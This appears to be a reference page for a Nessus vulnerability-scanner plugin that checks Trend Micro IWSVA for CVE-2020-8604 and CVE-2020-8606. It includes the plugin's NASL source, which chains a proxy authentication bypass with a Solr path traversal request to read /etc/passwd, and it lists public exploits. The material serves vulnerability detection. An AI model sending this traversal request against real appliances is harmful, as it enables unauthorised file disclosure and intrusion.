Trend Micro InterScan Web Security Virtual Appliance (IWSVA) Multiple Vulnerabilities (000253095) - Nessus

Critical   Plugin ID: 139030

This page contains detailed information about the Trend Micro InterScan Web Security Virtual Appliance (IWSVA) Multiple Vulnerabilities (000253095) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 139030
Name: Trend Micro InterScan Web Security Virtual Appliance (IWSVA) Multiple Vulnerabilities (000253095)
Filename: trendmicro_iwsva_000253095.nasl
Vulnerability Published: 2020-05-18
This Plugin Published: 2020-07-28
Last Modification Time: 2021-01-04
Plugin Version: 1.4
Plugin Type: remote
Plugin Family: Firewalls
Dependencies: proxy_use.nasl, trendmicro_iwsva_detect.nbin
Required KB Items [?]: installed_sw/Trend Micro IWSVA Web UI

Vulnerability Information


Severity: Critical
Vulnerability Published: 2020-05-18
Patch Published: 2020-05-18
CVE [?]: CVE-2020-8604, CVE-2020-8606
CPE [?]: cpe:/a:trendmicro:interscan_web_security_virtual_appliance

Synopsis

The remote host is running an application that is affected by multiple vulnerabilities.

Description

The Trend Micro InterScan Web Security Virtual Appliance is affected by multiple vulnerabilities :

- A path traversal vulnerability exists in the Apache Solr application due to improper validation of a user-supplied path prior to using it in file operations when parsing the file parameter in an HTTP request. An unauthenticated, remote attacker (when combined with CVE-2020-8606) can exploit this, by sending a URI that contains path traversal characters, to disclose the contents of arbitrary files. (CVE-2020-8604)

- An authentication bypass vulnerability exists in the HTTP proxy service due to its ability to communicate with internal services on the same host. An unauthenticated, remote attacker can exploit this, by sending requests through the proxy, to access other services that are otherwise inaccessible. (CVE-2020-8606)

Note that the appliance is reportedly affected by other vulnerabilities; however, this plugin has not tested for those issues.

Solution

Upgrade to the IWSVA version 6.5 build 1901 or later.

Public Exploits


Target Network Port(s): 8080
Target Asset(s): Services/http_proxy
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Trend Micro InterScan Web Security Virtual Appliance (IWSVA) Multiple Vulnerabilities (000253095) vulnerability:

  1. Metasploit: exploit/linux/http/trendmicro_websecurity_exec
    [Trend Micro Web Security (Virtual Appliance) Remote Code Execution]
  2. Exploit-DB: exploits/multiple/webapps/48667.rb
    [EDB-48667: Trend Micro Web Security Virtual Appliance 6.5 SP2 Patch 4 Build 1901 - Remote Code Execution (Metasploit)]
  3. GitHub: https://github.com/b9q/TrendMicroWebBuild1901
    [CVE-2020-8604]
  4. GitHub: https://github.com/b9q/TrendMicroWebBuild1901
    [CVE-2020-8606]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2020-8606
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.1 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.1 (Critical)

Go back to menu.

Plugin Source


This is the trendmicro_iwsva_000253095.nasl nessus plugin source code. This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

include("compat.inc");
#
# (C) Tenable Network Security, Inc.
#

include('compat.inc');

if (description)
{
  script_id(139030);
  script_version("1.4");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/04");

  script_cve_id("CVE-2020-8604", "CVE-2020-8606");
  script_xref(name:"ZDI", value:"ZDI-20-677");
  script_xref(name:"ZDI", value:"ZDI-20-678");

  script_name(english:"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) Multiple Vulnerabilities (000253095)");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running an application that is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The Trend Micro InterScan Web Security Virtual Appliance is affected
by multiple vulnerabilities :

  - A path traversal vulnerability exists in the Apache Solr
    application due to improper validation of a user-supplied path
    prior to using it in file operations when parsing the file
    parameter in an HTTP request. An unauthenticated, remote
    attacker (when combined with CVE-2020-8606) can exploit this, by
    sending a URI that contains path traversal characters, to
    disclose the contents of arbitrary files. (CVE-2020-8604)

  - An authentication bypass vulnerability exists in the HTTP proxy
    service due to its ability to communicate with internal services
    on the same host. An unauthenticated, remote attacker can exploit
    this, by sending requests through the proxy, to access other
    services that are otherwise inaccessible. (CVE-2020-8606)

Note that the appliance is reportedly affected by other
vulnerabilities; however, this plugin has not tested for those issues.");
  # https://success.trendmicro.com/solution/000253095
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?afd49bf5");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the IWSVA version 6.5 build 1901 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2020-8606");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Trend Micro Web Security (Virtual Appliance) Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2020/05/18");
  script_set_attribute(attribute:"patch_publication_date", value:"2020/05/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2020/07/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:trendmicro:interscan_web_security_virtual_appliance");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Firewalls");

  script_copyright(english:"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("trendmicro_iwsva_detect.nbin", "proxy_use.nasl");
  script_require_keys("installed_sw/Trend Micro IWSVA Web UI");
  script_require_ports("Services/http_proxy", 8080);

  exit(0);
}

include('http.inc');
include('install_func.inc');
include('debug.inc');

app = "Trend Micro IWSVA Web UI";

# Exit if IWSVA is not detected on the target
get_install_count(app_name:app, exit_if_zero:TRUE);

# Attack through the proxy
port = get_service(svc:'http_proxy', default:8080, exit_on_fail:TRUE);

# The firewall on the IWSVA host blocks this port from external access.
# It can only be accessed internally via the http proxy.
solr_port = 8983;

# File to get fetch and content to check in the response.
chk.file = '/etc/passwd';
chk.res  = 'root:x:0:0:root:/root:/bin/bash';

url = 'http://' + get_host_ip() + ':' + solr_port 
  + '/solr/collection0/replication'
  + '?command=filecontent'
  + '&wt=filestream'
  + '&generation=1'
  + '&file=../../../../../../../../' + chk.file;

res = http_send_recv3(
  method        : "GET",
  port          : port,
  item          : url,
  exit_on_fail  : TRUE
);

# Patched
if ('Self-referential requests to proxy are forbidden' >< res[2])
  audit(AUDIT_HOST_NOT, 'affected');
# Vulnerable
else if(chk.res >< res[2])
{
  line_limit = 10;
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);

  report = 'Nessus was able to exploit the issues with the following request : ' +
  '\n\n' +  http_last_sent_request() +  
  '\n\n' + 'This produced the following truncated output (limited to ' +
  line_limit + ' lines) :' +
  '\n' + snip +
  '\n' + beginning_of_response2(resp:substr(res[2], 4), max_lines:line_limit) +
  '\n' + snip +
  '\n';

  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    extra       : report
  );
}
# Unexpected
else
{
  dbg::log(msg:res[0] + res[1], ddata:res[2]);
  audit(AUDIT_RESP_BAD, port); 
}
  

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/trendmicro_iwsva_000253095.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\trendmicro_iwsva_000253095.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/trendmicro_iwsva_000253095.nasl

Go back to menu.

How to Run


Here is how to run the Trend Micro InterScan Web Security Virtual Appliance (IWSVA) Multiple Vulnerabilities (000253095) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Firewalls plugin family.
  6. On the right side table select Trend Micro InterScan Web Security Virtual Appliance (IWSVA) Multiple Vulnerabilities (000253095) plugin ID 139030.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl trendmicro_iwsva_000253095.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a trendmicro_iwsva_000253095.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - trendmicro_iwsva_000253095.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state trendmicro_iwsva_000253095.nasl -t <IP/HOST>

Go back to menu.

References


ZDI | Zero Day Initiative: See also: Similar and related Nessus plugins:
  • 104273 - Trend Micro IWSVA 6.5 < 6.5 Build 1737 Multiple Vulnerabilities
  • 99248 - Trend Micro IWSVA 6.5 < 6.5 Build 1746 Multiple Vulnerabilities
  • 149094 - Trend Micro Apex One Multiple Vulnerabilities (000263632)
  • 154960 - Trend Micro Apex One Multiple Vulnerabilities (000287819)
  • 62628 - Trend Micro Control Manager AdHocQuery_Processor.aspx id Parameter SQL Injection
  • 66811 - Trend Micro DirectPass < 1.6.0.1015 Multiple Vulnerabilities
  • 55456 - Trend Micro Data Loss Prevention Virtual Appliance Encoded Traversal Arbitrary File Access
  • 133269 - Trend Micro OfficeScan Directory Traversal Vulnerability (000151730)
  • 134629 - Trend Micro OfficeScan Multiple Vulnerabilities (000245571)
  • 149064 - Trend Micro OfficeScan Multiple Vulnerabilities (000263632)
  • 154962 - Trend Micro OfficeScan 10 SP1 < 10 SP1 Patch 2329 Multiple Vulnerabilities (000287815)
  • 103968 - Trend Micro OfficeScan cgiShowClientAdm Remote Memory Corruption
  • 34490 - Trend Micro OfficeScan HTTP Request Remote Buffer Overflow
  • 24683 - Trend Micro OfficeScan OfficeScanSetupINI.dll Remote Buffer Overflow
  • 25171 - Trend Micro ServerProtect AgRpcCln.dll Buffer Overflow
  • 25172 - Trend Micro ServerProtect EarthAgent RPC Request Remote Buffer Overflow
  • 29724 - Trend Micro ServerProtect for Windows (SpntSvc.exe) StRpcSrv.dll Arbitrary Remote Code Execution
  • 25925 - Trend Micro ServerProtect Multiple Remote Overflows
  • 24680 - Trend Micro ServerProtect TmRpcSrv.dll RPC Request Multiple Overflows
  • 107224 - Trend Micro Smart Protection Server Session Hijacking Via Log File Disclosure
  • 104354 - Trend Micro ScanMail for Exchange 12.x < SP1 Patch 1 CP1755
  • 49707 - Trend Micro Internet Security Pro UfProxyBrowserCtrl ActiveX extSetOwner Function Arbitrary Code Execution
  • 154961 - Trend Micro Worry-Free Business Security (WFBS) 10.0 SP1 < 10.0 SP1 Patch 2329 Multiple Vulnerabilities (000287820)
  • 57062 - Trend Micro Control Manager CmdProcessor.exe Remote Buffer Overflow
  • 57765 - Trend Micro Control Manager CmdProcessor.exe Remote Buffer Overflow (uncredentialed check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file trendmicro_iwsva_000253095.nasl version 1.4. For more plugins, visit the Nessus Plugin Library.

Go back to menu.